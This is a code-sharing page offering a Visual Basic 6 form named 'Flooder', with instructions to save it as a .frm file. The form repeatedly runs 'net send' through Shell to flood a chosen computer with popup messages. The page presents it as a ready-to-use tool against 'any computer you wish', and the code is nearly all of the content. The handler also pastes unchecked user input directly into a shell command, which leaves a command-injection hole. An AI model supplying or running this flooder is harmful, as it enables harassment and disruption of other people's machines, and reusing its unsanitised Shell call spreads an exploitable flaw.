• Home
 · 
• Internet/HTML
 · 
• This will send as many popup messages to any computer you wish. Open the code with Notepad and save

This will send as many popup messages to any computer you wish. Open the code with Notepad and save

This will send as many popup messages to any computer you wish. Open the code with Notepad and save as .frm.

Rate This will send as many popup messages to any computer you wish. Open the code with Notepad and save

• 1
• 2
• 3
• 4
• 5

(1(1 Vote))

Begin VB.Form Form1 
   BackColor       =   &H00000000&
   BorderStyle     =   0  'None
   Caption         =   "Flooder"
   ClientHeight    =   1095
   ClientLeft      =   4575
   ClientTop       =   5130
   ClientWidth     =   3615
   Icon            =   "flooder.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   1095
   ScaleWidth      =   3615
   ShowInTaskbar   =   0   'False
   Begin VB.CommandButton Command1 
      BackColor       =   &H00FFFFFF&
      Caption         =   "FLOOD!!!   "
      Height          =   375
      Left            =   0
      MaskColor       =   &H00000000&
      Style           =   1  'Graphical
      TabIndex        =   3
      Top             =   720
      UseMaskColor    =   -1  'True
      Width           =   3615
   End
   Begin VB.TextBox Text3 
      BackColor       =   &H00000000&
      ForeColor       =   &H80000009&
      Height          =   285
      Left            =   1680
      TabIndex        =   2
      Text            =   "Computer Name"
      Top             =   360
      Width           =   1935
   End
   Begin VB.TextBox Text2 
      BackColor       =   &H00000000&
      ForeColor       =   &H80000009&
      Height          =   285
      Left            =   0
      MaxLength       =   3
      TabIndex        =   1
      Text            =   "Times to flood"
      Top             =   360
      Width           =   1575
   End
   Begin VB.TextBox Text1 
      BackColor       =   &H00000000&
      ForeColor       =   &H80000009&
      Height          =   285
      Left            =   0
      TabIndex        =   0
      Text            =   "Text to flood with"
      Top             =   0
      Width           =   3615
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False



Private Sub Command1_Click()
For x = 1 To Text2.Text
Shell "net send " & Text3.Text & " " & Text1.Text
Next x
End Sub